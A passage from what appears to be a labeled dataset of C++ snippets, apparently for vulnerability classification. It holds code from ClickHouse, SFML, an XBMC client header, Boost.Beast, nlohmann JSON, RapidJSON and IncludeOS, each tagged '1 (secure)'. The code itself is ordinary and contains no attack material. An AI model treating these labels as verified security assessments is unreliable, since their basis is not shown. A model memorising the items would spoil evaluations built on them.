| 622 |
-
return common::exp10_i64(scale);
|
| 623 |
-
else if constexpr (std::is_same_v<T, Int128> || std::is_same_v<T, Decimal128>)
|
| 624 |
-
return common::exp10_i128(scale);
|
| 625 |
-
else if constexpr (std::is_same_v<T, Int256> || std::is_same_v<T, Decimal256>)
|
| 626 |
-
return common::exp10_i256(scale);
|
| 627 |
-
}
|
| 628 |
-
|
| 629 |
-
|
| 630 |
-
/** Components of DecimalX value:
|
| 631 |
-
* whole - represents whole part of decimal, can be negative or positive.
|
| 632 |
-
* fractional - for fractional part of decimal, always positive.
|
| 633 |
-
*/
|
| 634 |
-
template <typename DecimalType>
|
| 635 |
-
struct DecimalComponents
|
| 636 |
-
{
|
| 637 |
-
using T = typename DecimalType::NativeType;
|
| 638 |
-
T whole;
|
| 639 |
-
T fractional;
|
| 640 |
-
};
|
| 641 |
-
|
| 642 |
-
/// Traits used for determining final Type/Precision/Scale for certain math operations on decimals.
|
| 643 |
-
template <typename T>
|
| 644 |
-
struct DataTypeDecimalTrait
|
| 645 |
-
{
|
| 646 |
-
using FieldType = T;
|
| 647 |
-
const UInt32 precision;
|
| 648 |
-
const UInt32 scale;
|
| 649 |
-
|
| 650 |
-
DataTypeDecimalTrait(UInt32 precision_, UInt32 scale_)
|
| 651 |
-
: precision(precision_),
|
| 652 |
-
scale(scale_)
|
| 653 |
-
{}
|
| 654 |
-
|
| 655 |
-
/// @returns multiplier for U to become T with correct scale
|
| 656 |
-
template <typename U>
|
| 657 |
-
T scaleFactorFor(const DataTypeDecimalTrait<U> & x, bool) const
|
| 658 |
-
{
|
| 659 |
-
if (scale < x.scale)
|
| 660 |
-
throw Exception(""Decimal result's scale is less than argument's one"", ErrorCodes::ARGUMENT_OUT_OF_BOUND);
|
| 661 |
-
const UInt32 scale_delta = scale - x.scale; /// scale_delta >= 0
|
| 662 |
-
return DecimalUtils::scaleMultiplier<typename T::NativeType>(scale_delta);
|
| 663 |
-
}
|
| 664 |
-
};
|
| 665 |
-
",1 (secure)
|
| 666 |
-
"#include <SFML/System/Err.hpp>
|
| 667 |
-
#include <SFML/Window/SensorManager.hpp>
|
| 668 |
-
|
| 669 |
-
#include <ostream>
|
| 670 |
-
|
| 671 |
-
|
| 672 |
-
namespace sf
|
| 673 |
-
{
|
| 674 |
-
namespace priv
|
| 675 |
-
{
|
| 676 |
-
////////////////////////////////////////////////////////////
|
| 677 |
-
SensorManager& SensorManager::getInstance()
|
| 678 |
-
{
|
| 679 |
-
static SensorManager instance;
|
| 680 |
-
return instance;
|
| 681 |
-
}
|
| 682 |
-
|
| 683 |
-
|
| 684 |
-
////////////////////////////////////////////////////////////
|
| 685 |
-
bool SensorManager::isAvailable(Sensor::Type sensor)
|
| 686 |
-
{
|
| 687 |
-
return m_sensors[sensor].available;
|
| 688 |
-
}
|
| 689 |
-
|
| 690 |
-
|
| 691 |
-
////////////////////////////////////////////////////////////
|
| 692 |
-
void SensorManager::setEnabled(Sensor::Type sensor, bool enabled)
|
| 693 |
-
{
|
| 694 |
-
if (m_sensors[sensor].available)
|
| 695 |
-
{
|
| 696 |
-
m_sensors[sensor].enabled = enabled;
|
| 697 |
-
m_sensors[sensor].sensor.setEnabled(enabled);
|
| 698 |
-
}
|
| 699 |
-
else
|
| 700 |
-
{
|
| 701 |
-
err() << ""Warning: trying to enable a sensor that is not available (call Sensor::isAvailable to check it)""
|
| 702 |
-
<< std::endl;
|
| 703 |
-
}
|
| 704 |
-
}
|
| 705 |
-
|
| 706 |
-
|
| 707 |
-
////////////////////////////////////////////////////////////
|
| 708 |
-
bool SensorManager::isEnabled(Sensor::Type sensor) const
|
| 709 |
-
{
|
| 710 |
-
return m_sensors[sensor].enabled;
|
| 711 |
-
}
|
| 712 |
-
|
| 713 |
-
|
| 714 |
-
////////////////////////////////////////////////////////////
|
| 715 |
-
Vector3f SensorManager::getValue(Sensor::Type sensor) const
|
| 716 |
-
{
|
| 717 |
-
return m_sensors[sensor].value;
|
| 718 |
-
}
|
| 719 |
-
|
| 720 |
-
|
| 721 |
-
////////////////////////////////////////////////////////////
|
| 722 |
-
void SensorManager::update()
|
| 723 |
-
{
|
| 724 |
-
for (Item& item : m_sensors)
|
| 725 |
-
{
|
| 726 |
-
// Only process available sensors
|
| 727 |
-
if (item.available)
|
| 728 |
-
item.value = item.sensor.update();
|
| 729 |
-
}
|
| 730 |
-
}
|
| 731 |
-
|
| 732 |
-
|
| 733 |
-
////////////////////////////////////////////////////////////
|
| 734 |
-
SensorManager::SensorManager()
|
| 735 |
-
{
|
| 736 |
-
// Global sensor initialization
|
| 737 |
-
SensorImpl::initialize();
|
| 738 |
-
|
| 739 |
-
// Per sensor initialization
|
| 740 |
-
for (int i = 0; i < Sensor::Count; ++i)
|
| 741 |
-
{
|
| 742 |
-
// Check which sensors are available
|
| 743 |
-
m_sensors[i].available = SensorImpl::isAvailable(static_cast<Sensor::Type>(i));
|
| 744 |
-
|
| 745 |
-
// Open the available sensors
|
| 746 |
-
if (m_sensors[i].available)
|
| 747 |
-
{
|
| 748 |
-
if (m_sensors[i].sensor.open(static_cast<Sensor::Type>(i)))
|
| 749 |
-
{
|
| 750 |
-
m_sensors[i].sensor.setEnabled(false);
|
| 751 |
-
}
|
| 752 |
-
else
|
| 753 |
-
{
|
| 754 |
-
m_sensors[i].available = false;
|
| 755 |
-
err() << ""Warning: sensor "" << i << "" failed to open, will not be available"" << std::endl;
|
| 756 |
-
}
|
| 757 |
-
}
|
| 758 |
-
}
|
| 759 |
-
}
|
| 760 |
-
|
| 761 |
-
////////////////////////////////////////////////////////////
|
| 762 |
-
SensorManager::~SensorManager()
|
| 763 |
-
{
|
| 764 |
-
// Per sensor cleanup
|
| 765 |
-
for (Item& item : m_sensors)
|
| 766 |
-
{
|
| 767 |
-
if (item.available)
|
| 768 |
-
item.sensor.close();
|
| 769 |
-
}
|
| 770 |
-
|
| 771 |
-
// Global sensor cleanup
|
| 772 |
-
SensorImpl::cleanup();",1 (secure)
|
| 773 |
-
"#pragma once
|
| 774 |
-
|
| 775 |
-
#include <stdio.h>
|
| 776 |
-
#include <stdlib.h>
|
| 777 |
-
#include <string.h>
|
| 778 |
-
#include <sys/types.h>
|
| 779 |
-
#ifdef _WIN32
|
| 780 |
-
#include <winsock.h>
|
| 781 |
-
#else
|
| 782 |
-
#include <sys/socket.h>
|
| 783 |
-
#include <netinet/in.h>
|
| 784 |
-
#include <netdb.h>
|
| 785 |
-
#include <arpa/inet.h>
|
| 786 |
-
#endif
|
| 787 |
-
#include <vector>
|
| 788 |
-
#include <iostream>
|
| 789 |
-
#include <fstream>
|
| 790 |
-
#include <time.h>
|
| 791 |
-
|
| 792 |
-
#define STD_PORT 9777
|
| 793 |
-
|
| 794 |
-
#define MS_ABSOLUTE 0x01
|
| 795 |
-
//#define MS_RELATIVE 0x02
|
| 796 |
-
|
| 797 |
-
#define BTN_USE_NAME 0x01
|
| 798 |
-
#define BTN_DOWN 0x02
|
| 799 |
-
#define BTN_UP 0x04
|
| 800 |
-
#define BTN_USE_AMOUNT 0x08
|
| 801 |
-
#define BTN_QUEUE 0x10
|
| 802 |
-
#define BTN_NO_REPEAT 0x20
|
| 803 |
-
#define BTN_VKEY 0x40
|
| 804 |
-
#define BTN_AXIS 0x80
|
| 805 |
-
|
| 806 |
-
#define PT_HELO 0x01
|
| 807 |
-
#define PT_BYE 0x02
|
| 808 |
-
#define PT_BUTTON 0x03
|
| 809 |
-
#define PT_MOUSE 0x04
|
| 810 |
-
#define PT_PING 0x05
|
| 811 |
-
#define PT_BROADCAST 0x06
|
| 812 |
-
#define PT_NOTIFICATION 0x07
|
| 813 |
-
#define PT_BLOB 0x08
|
| 814 |
-
#define PT_LOG 0x09
|
| 815 |
-
#define PT_ACTION 0x0A
|
| 816 |
-
#define PT_DEBUG 0xFF
|
| 817 |
-
|
| 818 |
-
#define ICON_NONE 0x00
|
| 819 |
-
#define ICON_JPEG 0x01
|
| 820 |
-
#define ICON_PNG 0x02
|
| 821 |
-
#define ICON_GIF 0x03
|
| 822 |
-
|
| 823 |
-
#define MAX_PACKET_SIZE 1024
|
| 824 |
-
#define HEADER_SIZE 32
|
| 825 |
-
#define MAX_PAYLOAD_SIZE (MAX_PACKET_SIZE - HEADER_SIZE)
|
| 826 |
-
|
| 827 |
-
#define MAJOR_VERSION 2
|
| 828 |
-
#define MINOR_VERSION 0
|
| 829 |
-
|
| 830 |
-
#define LOGDEBUG 0
|
| 831 |
-
#define LOGINFO 1
|
| 832 |
-
#define LOGNOTICE 2
|
| 833 |
-
#define LOGWARNING 3
|
| 834 |
-
#define LOGERROR 4
|
| 835 |
-
#define LOGSEVERE 5
|
| 836 |
-
#define LOGFATAL 6
|
| 837 |
-
#define LOGNONE 7
|
| 838 |
-
|
| 839 |
-
#define ACTION_EXECBUILTIN 0x01
|
| 840 |
-
#define ACTION_BUTTON 0x02
|
| 841 |
-
|
| 842 |
-
class CAddress
|
| 843 |
-
{
|
| 844 |
-
private:
|
| 845 |
-
struct sockaddr_in m_Addr;
|
| 846 |
-
public:
|
| 847 |
-
CAddress(int Port = STD_PORT)
|
| 848 |
-
{
|
| 849 |
-
m_Addr.sin_family = AF_INET;
|
| 850 |
-
m_Addr.sin_port = htons(Port);
|
| 851 |
-
m_Addr.sin_addr.s_addr = INADDR_ANY;
|
| 852 |
-
memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
|
| 853 |
-
}
|
| 854 |
-
|
| 855 |
-
CAddress(const char *Address, int Port = STD_PORT)
|
| 856 |
-
{
|
| 857 |
-
m_Addr.sin_port = htons(Port);
|
| 858 |
-
|
| 859 |
-
struct hostent *h;
|
| 860 |
-
if (Address == NULL || (h=gethostbyname(Address)) == NULL)
|
| 861 |
-
{
|
| 862 |
-
if (Address != NULL)
|
| 863 |
-
printf(""Error: Get host by name\n"");
|
| 864 |
-
|
| 865 |
-
m_Addr.sin_addr.s_addr = INADDR_ANY;
|
| 866 |
-
m_Addr.sin_family = AF_INET;
|
| 867 |
-
}
|
| 868 |
-
else
|
| 869 |
-
{
|
| 870 |
-
m_Addr.sin_family = h->h_addrtype;
|
| 871 |
-
m_Addr.sin_addr = *((struct in_addr *)h->h_addr);
|
| 872 |
-
}
|
| 873 |
-
memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
|
| 874 |
-
}
|
| 875 |
-
|
| 876 |
-
void SetPort(int port)
|
| 877 |
-
{
|
| 878 |
-
m_Addr.sin_port = htons(port);
|
| 879 |
-
}
|
| 880 |
-
|
| 881 |
-
const sockaddr *GetAddress()
|
| 882 |
-
{
|
| 883 |
-
return ((struct sockaddr *)&m_Addr);
|
| 884 |
-
}
|
| 885 |
-
|
| 886 |
-
bool Bind(int Sockfd)
|
| 887 |
-
{
|
| 888 |
-
return (bind(Sockfd, (struct sockaddr *)&m_Addr, sizeof m_Addr) == 0);
|
| 889 |
-
}
|
| 890 |
-
};
|
| 891 |
-
|
| 892 |
-
class XBMCClientUtils
|
| 893 |
-
{
|
| 894 |
-
public:
|
| 895 |
-
XBMCClientUtils() = default;
|
| 896 |
-
~XBMCClientUtils() = default;
|
| 897 |
-
static unsigned int GetUniqueIdentifier()
|
| 898 |
-
{
|
| 899 |
-
static time_t id = time(NULL);
|
| 900 |
-
return id;
|
| 901 |
-
}
|
| 902 |
-
|
| 903 |
-
static void Clean()
|
| 904 |
-
{
|
| 905 |
-
#ifdef _WIN32
|
| 906 |
-
WSACleanup();
|
| 907 |
-
#endif
|
| 908 |
-
}
|
| 909 |
-
|
| 910 |
-
static bool Initialize()
|
| 911 |
-
{
|
| 912 |
-
#ifdef _WIN32
|
| 913 |
-
WSADATA wsaData;
|
| 914 |
-
if (WSAStartup(MAKEWORD(1, 1), &wsaData))
|
| 915 |
-
return false;
|
| 916 |
-
#endif
|
| 917 |
-
return true;
|
| 918 |
-
}
|
| 919 |
-
};
|
| 920 |
-
|
| 921 |
-
class CPacket",1 (secure)
|
| 922 |
-
"#ifndef BOOST_BEAST_WEBSOCKET_OPTION_HPP
|
| 923 |
-
#define BOOST_BEAST_WEBSOCKET_OPTION_HPP
|
| 924 |
-
|
| 925 |
-
#include <boost/beast/core/detail/config.hpp>
|
| 926 |
-
|
| 927 |
-
namespace boost {
|
| 928 |
-
namespace beast {
|
| 929 |
-
namespace websocket {
|
| 930 |
-
|
| 931 |
-
/** permessage-deflate extension options.
|
| 932 |
-
These settings control the permessage-deflate extension,
|
| 933 |
-
which allows messages to be compressed.
|
| 934 |
-
@note Objects of this type are used with
|
| 935 |
-
@ref beast::websocket::stream::set_option.
|
| 936 |
-
*/
|
| 937 |
-
struct permessage_deflate
|
| 938 |
-
{
|
| 939 |
-
/// `true` to offer the extension in the server role
|
| 940 |
-
bool server_enable = false;
|
| 941 |
-
|
| 942 |
-
/// `true` to offer the extension in the client role
|
| 943 |
-
bool client_enable = false;
|
| 944 |
-
|
| 945 |
-
/** Maximum server window bits to offer
|
| 946 |
-
@note Due to a bug in ZLib, this value must be greater than 8.
|
| 947 |
-
*/
|
| 948 |
-
int server_max_window_bits = 15;
|
| 949 |
-
|
| 950 |
-
/** Maximum client window bits to offer
|
| 951 |
-
@note Due to a bug in ZLib, this value must be greater than 8.
|
| 952 |
-
*/
|
| 953 |
-
int client_max_window_bits = 15;
|
| 954 |
-
|
| 955 |
-
/// `true` if server_no_context_takeover desired
|
| 956 |
-
bool server_no_context_takeover = false;
|
| 957 |
-
|
| 958 |
-
/// `true` if client_no_context_takeover desired
|
| 959 |
-
bool client_no_context_takeover = false;
|
| 960 |
-
|
| 961 |
-
/// Deflate compression level 0..9
|
| 962 |
-
int compLevel = 8;
|
| 963 |
-
|
| 964 |
-
/// Deflate memory level, 1..9
|
| 965 |
-
int memLevel = 4;
|
| 966 |
-
|
| 967 |
-
/// The minimum size a message should have to be compressed
|
| 968 |
-
std::size_t msg_size_threshold = 0;
|
| 969 |
-
};
|
| 970 |
-
|
| 971 |
-
} // websocket
|
| 972 |
-
} // beast
|
| 973 |
-
} // boost
|
| 974 |
-
|
| 975 |
-
#endif",1 (secure)
|
| 976 |
-
"#include <cstdlib>
|
| 977 |
-
#include <iostream>
|
| 978 |
-
#include <sstream>
|
| 979 |
-
|
| 980 |
-
using namespace std;
|
| 981 |
-
|
| 982 |
-
void build_code(int max_args)
|
| 983 |
-
{
|
| 984 |
-
stringstream ss;
|
| 985 |
-
ss << ""#define NLOHMANN_JSON_EXPAND( x ) x"" << endl;
|
| 986 |
-
ss << ""#define NLOHMANN_JSON_GET_MACRO("";
|
| 987 |
-
for (int i = 0 ; i < max_args ; i++)
|
| 988 |
-
ss << ""_"" << i + 1 << "", "";
|
| 989 |
-
ss << ""NAME,...) NAME"" << endl;
|
| 990 |
-
|
| 991 |
-
ss << ""#define NLOHMANN_JSON_PASTE(...) NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_GET_MACRO(__VA_ARGS__, \\"" << endl;
|
| 992 |
-
for (int i = max_args ; i > 1 ; i--)
|
| 993 |
-
ss << ""NLOHMANN_JSON_PASTE"" << i << "", \\"" << endl;
|
| 994 |
-
ss << ""NLOHMANN_JSON_PASTE1)(__VA_ARGS__))"" << endl;
|
| 995 |
-
|
| 996 |
-
ss << ""#define NLOHMANN_JSON_PASTE2(func, v1) func(v1)"" << endl;
|
| 997 |
-
for (int i = 3 ; i <= max_args ; i++)
|
| 998 |
-
{
|
| 999 |
-
ss << ""#define NLOHMANN_JSON_PASTE"" << i << ""(func, "";
|
| 1000 |
-
for (int j = 1 ; j < i -1 ; j++)
|
| 1001 |
-
ss << ""v"" << j << "", "";
|
| 1002 |
-
ss << ""v"" << i-1 << "") NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE"" << i-1 << ""(func, "";
|
| 1003 |
-
for (int j = 2 ; j < i-1 ; j++)
|
| 1004 |
-
ss << ""v"" << j << "", "";
|
| 1005 |
-
ss << ""v"" << i-1 << "")"" << endl;
|
| 1006 |
-
}
|
| 1007 |
-
|
| 1008 |
-
cout << ss.str() << endl;
|
| 1009 |
-
}
|
| 1010 |
-
|
| 1011 |
-
int main(int argc, char** argv)
|
| 1012 |
-
{
|
| 1013 |
-
int max_args = 64;
|
| 1014 |
-
build_code(max_args);
|
| 1015 |
-
|
| 1016 |
-
return 0;
|
| 1017 |
-
}",1 (secure)
|
| 1018 |
-
"#ifndef RAPIDJSON_FILEWRITESTREAM_H_
|
| 1019 |
-
#define RAPIDJSON_FILEWRITESTREAM_H_
|
| 1020 |
-
|
| 1021 |
-
#include ""stream.h""
|
| 1022 |
-
#include <cstdio>
|
| 1023 |
-
|
| 1024 |
-
#ifdef __clang__
|
| 1025 |
-
RAPIDJSON_DIAG_PUSH
|
| 1026 |
-
RAPIDJSON_DIAG_OFF(unreachable-code)
|
| 1027 |
-
#endif
|
| 1028 |
-
|
| 1029 |
-
RAPIDJSON_NAMESPACE_BEGIN
|
| 1030 |
-
|
| 1031 |
-
//! Wrapper of C file stream for output using fwrite().
|
| 1032 |
-
/*!
|
| 1033 |
-
\note implements Stream concept
|
| 1034 |
-
*/
|
| 1035 |
-
class FileWriteStream {
|
| 1036 |
-
public:
|
| 1037 |
-
typedef char Ch; //!< Character type. Only support char.
|
| 1038 |
-
|
| 1039 |
-
FileWriteStream(std::FILE* fp, char* buffer, size_t bufferSize) : fp_(fp), buffer_(buffer), bufferEnd_(buffer + bufferSize), current_(buffer_) {
|
| 1040 |
-
RAPIDJSON_ASSERT(fp_ != 0);
|
| 1041 |
-
}
|
| 1042 |
-
|
| 1043 |
-
void Put(char c) {
|
| 1044 |
-
if (current_ >= bufferEnd_)
|
| 1045 |
-
Flush();
|
| 1046 |
-
|
| 1047 |
-
*current_++ = c;
|
| 1048 |
-
}
|
| 1049 |
-
|
| 1050 |
-
void PutN(char c, size_t n) {
|
| 1051 |
-
size_t avail = static_cast<size_t>(bufferEnd_ - current_);
|
| 1052 |
-
while (n > avail) {
|
| 1053 |
-
std::memset(current_, c, avail);
|
| 1054 |
-
current_ += avail;
|
| 1055 |
-
Flush();
|
| 1056 |
-
n -= avail;
|
| 1057 |
-
avail = static_cast<size_t>(bufferEnd_ - current_);
|
| 1058 |
-
}
|
| 1059 |
-
|
| 1060 |
-
if (n > 0) {
|
| 1061 |
-
std::memset(current_, c, n);
|
| 1062 |
-
current_ += n;
|
| 1063 |
-
}
|
| 1064 |
-
}
|
| 1065 |
-
|
| 1066 |
-
void Flush() {
|
| 1067 |
-
if (current_ != buffer_) {
|
| 1068 |
-
size_t result = std::fwrite(buffer_, 1, static_cast<size_t>(current_ - buffer_), fp_);
|
| 1069 |
-
if (result < static_cast<size_t>(current_ - buffer_)) {
|
| 1070 |
-
// failure deliberately ignored at this time
|
| 1071 |
-
// added to avoid warn_unused_result build errors
|
| 1072 |
-
}
|
| 1073 |
-
current_ = buffer_;
|
| 1074 |
-
}
|
| 1075 |
-
}
|
| 1076 |
-
|
| 1077 |
-
// Not implemented
|
| 1078 |
-
char Peek() const { RAPIDJSON_ASSERT(false); return 0; }
|
| 1079 |
-
char Take() { RAPIDJSON_ASSERT(false); return 0; }
|
| 1080 |
-
size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; }
|
| 1081 |
-
char* PutBegin() { RAPIDJSON_ASSERT(false); return 0; }
|
| 1082 |
-
size_t PutEnd(char*) { RAPIDJSON_ASSERT(false); return 0; }
|
| 1083 |
-
|
| 1084 |
-
private:
|
| 1085 |
-
// Prohibit copy constructor & assignment operator.
|
| 1086 |
-
FileWriteStream(const FileWriteStream&);
|
| 1087 |
-
FileWriteStream& operator=(const FileWriteStream&);
|
| 1088 |
-
|
| 1089 |
-
std::FILE* fp_;
|
| 1090 |
-
char *buffer_;
|
| 1091 |
-
char *bufferEnd_;
|
| 1092 |
-
char *current_;
|
| 1093 |
-
};
|
| 1094 |
-
|
| 1095 |
-
//! Implement specialized version of PutN() with memset() for better performance.
|
| 1096 |
-
template<>
|
| 1097 |
-
inline void PutN(FileWriteStream& stream, char c, size_t n) {
|
| 1098 |
-
stream.PutN(c, n);
|
| 1099 |
-
}
|
| 1100 |
-
|
| 1101 |
-
RAPIDJSON_NAMESPACE_END
|
| 1102 |
-
|
| 1103 |
-
#ifdef __clang__
|
| 1104 |
-
RAPIDJSON_DIAG_POP
|
| 1105 |
-
#endif
|
| 1106 |
-
|
| 1107 |
-
#endif // RAPIDJSON_FILESTREAM_H_",1 (secure)
|
| 1108 |
-
"
|
| 1109 |
-
|
| 1110 |
-
#include <os>
|
| 1111 |
-
#include <kernel.hpp>
|
| 1112 |
-
#include <kprint>
|
| 1113 |
-
#include <boot/multiboot.h>
|
| 1114 |
-
#include <kernel/memory.hpp>
|
| 1115 |
-
|
| 1116 |
-
//#define DEBUG_MULTIBOOT
|
| 1117 |
-
#ifdef DEBUG_MULTIBOOT
|
| 1118 |
-
#undef debug
|
| 1119 |
-
#define debug(X,...) kprintf(X,##__VA_ARGS__);
|
| 1120 |
-
#define MYINFO(X,...) kprintf(""<Multiboot>"" X ""\n"", ##__VA_ARGS__)
|
| 1121 |
-
#undef INFO2
|
| 1122 |
-
#define INFO2(X,...) kprintf(""\t"" X ""\n"", ##__VA_ARGS__)
|
| 1123 |
-
#else
|
| 1124 |
-
#define debug(X,...)
|
| 1125 |
-
#define MYINFO(X,...) INFO(""Kernel"", X, ##__VA_ARGS__)
|
| 1126 |
-
#endif
|
| 1127 |
-
|
| 1128 |
-
using namespace util::bitops;
|
| 1129 |
-
using namespace util::literals;
|
| 1130 |
-
extern uintptr_t _end;
|
| 1131 |
-
#if defined(ARCH_aarch64)
|
| 1132 |
-
uint32_t dummy[24];
|
| 1133 |
-
uintptr_t __multiboot_addr=(uintptr_t)&dummy[0];
|
| 1134 |
-
#else
|
| 1135 |
-
extern uint32_t __multiboot_addr;
|
| 1136 |
-
#endif
|
| 1137 |
-
|
| 1138 |
-
static inline multiboot_info_t* bootinfo(uint32_t addr)
|
| 1139 |
-
{
|
| 1140 |
-
// NOTE: the address is 32-bit and not a pointer
|
| 1141 |
-
return (multiboot_info_t*) (uintptr_t) addr;
|
| 1142 |
-
}
|
| 1143 |
-
|
| 1144 |
-
multiboot_info_t* kernel::bootinfo()
|
| 1145 |
-
{
|
| 1146 |
-
return (multiboot_info_t*) (uintptr_t) __multiboot_addr;
|
| 1147 |
-
}
|
| 1148 |
-
|
| 1149 |
-
uintptr_t _multiboot_memory_end(uintptr_t boot_addr) {
|
| 1150 |
-
auto* info = bootinfo(boot_addr);
|
| 1151 |
-
if (info->flags & MULTIBOOT_INFO_MEMORY) {
|
| 1152 |
-
return 0x100000 + (info->mem_upper * 1024);
|
| 1153 |
-
}
|
| 1154 |
-
return os::Arch::max_canonical_addr;
|
| 1155 |
-
}
|
| 1156 |
-
|
| 1157 |
-
// Deterimine the end of multiboot provided data
|
| 1158 |
-
// (e.g. multiboot's data area as offset to the _end symbol)
|
| 1159 |
-
uintptr_t _multiboot_free_begin(uintptr_t boot_addr)
|
| 1160 |
-
{
|
| 1161 |
-
const auto* info = bootinfo(boot_addr);
|
| 1162 |
-
uintptr_t multi_end = reinterpret_cast<uintptr_t>(&_end);
|
| 1163 |
-
|
| 1164 |
-
debug(""* Multiboot begin: 0x%x \n"", info);
|
| 1165 |
-
if (info->flags & MULTIBOOT_INFO_CMDLINE
|
| 1166 |
-
and info->cmdline > multi_end)
|
| 1167 |
-
{
|
| 1168 |
-
debug(""* Multiboot cmdline @ 0x%x: %s \n"", info->cmdline, (char*)info->cmdline);
|
| 1169 |
-
// We can't use a cmdline that's either insde our ELF or pre-ELF area
|
| 1170 |
-
Expects(info->cmdline > multi_end
|
| 1171 |
-
or info->cmdline < 0x100000);
|
| 1172 |
-
|
| 1173 |
-
if (info->cmdline > multi_end) {
|
| 1174 |
-
auto* cmdline_ptr = (const char*) (uintptr_t) info->cmdline;
|
| 1175 |
-
// Set free begin to after the cmdline string,
|
| 1176 |
-
// but only if the cmdline is placed after image end
|
| 1177 |
-
const uintptr_t cmdline_end = info->cmdline + strlen(cmdline_ptr) + 1;
|
| 1178 |
-
if (cmdline_end > multi_end) multi_end = cmdline_end;
|
| 1179 |
-
}
|
| 1180 |
-
}
|
| 1181 |
-
|
| 1182 |
-
debug(""* Multiboot end: 0x%x \n"", multi_end);
|
| 1183 |
-
if (info->mods_count == 0) {
|
| 1184 |
-
return multi_end;
|
| 1185 |
-
}
|
| 1186 |
-
|
| 1187 |
-
auto* mods_list = (multiboot_module_t*) (uintptr_t) info->mods_addr;
|
| 1188 |
-
debug(""* Module list @ %p \n"",mods_list);
|
| 1189 |
-
|
| 1190 |
-
for (auto* mod = mods_list; mod < mods_list + info->mods_count; mod ++)
|
| 1191 |
-
{
|
| 1192 |
-
debug(""\t * Module @ %#x \n"", mod->mod_start);
|
| 1193 |
-
debug(""\t * Args: %s \n "", (char*) (uintptr_t) mod->cmdline);
|
| 1194 |
-
debug(""\t * End: %#x \n "", mod->mod_end);
|
| 1195 |
-
|
| 1196 |
-
if (mod->mod_end > multi_end)
|
| 1197 |
-
multi_end = mod->mod_end;
|
| 1198 |
-
}
|
| 1199 |
-
|
| 1200 |
-
debug(""* Multiboot end: 0x%x \n"", multi_end);
|
| 1201 |
-
return multi_end;
|
| 1202 |
-
}
|
| 1203 |
-
|
| 1204 |
-
void kernel::multiboot_mmap(void* start, size_t size)
|
| 1205 |
-
{
|
| 1206 |
-
const gsl::span<multiboot_memory_map_t> mmap {
|
| 1207 |
-
(multiboot_memory_map_t*) start,
|
| 1208 |
-
(int) (size / sizeof(multiboot_memory_map_t))
|
| 1209 |
-
};
|
| 1210 |
-
|
| 1211 |
-
for (const auto& map : mmap)
|
| 1212 |
-
{
|
| 1213 |
-
const char* str_type = map.type & MULTIBOOT_MEMORY_AVAILABLE ? ""FREE"" : ""RESERVED"";
|
| 1214 |
-
const uintptr_t addr = map.addr;
|
| 1215 |
-
const uintptr_t size = map.len;
|
| 1216 |
-
INFO2("" 0x%010zx - 0x%010zx %s (%zu Kb.)"",
|
| 1217 |
-
map.addr, map.addr + map.len - 1, str_type, map.len / 1024 );
|
| 1218 |
-
|
| 1219 |
-
if ((map.type & MULTIBOOT_MEMORY_AVAILABLE) == 0)
|
| 1220 |
-
{
|
| 1221 |
-
if (util::bits::is_aligned<4_KiB>(map.addr)) {
|
| 1222 |
-
os::mem::map({addr, addr, os::mem::Access::read | os::mem::Access::write, size},
|
| 1223 |
-
""Reserved (Multiboot)"");
|
| 1224 |
-
continue;
|
| 1225 |
-
}
|
| 1226 |
-
// For non-aligned addresses, assign
|
| 1227 |
-
os::mem::vmmap().assign_range({map.addr, map.addr + map.len-1, ""Reserved (Multiboot)""});
|
| 1228 |
-
}
|
| 1229 |
-
else
|
| 1230 |
-
{
|
| 1231 |
-
// Map as free memory
|
| 1232 |
-
}
|
| 1233 |
-
}
|
| 1234 |
-
}",1 (secure)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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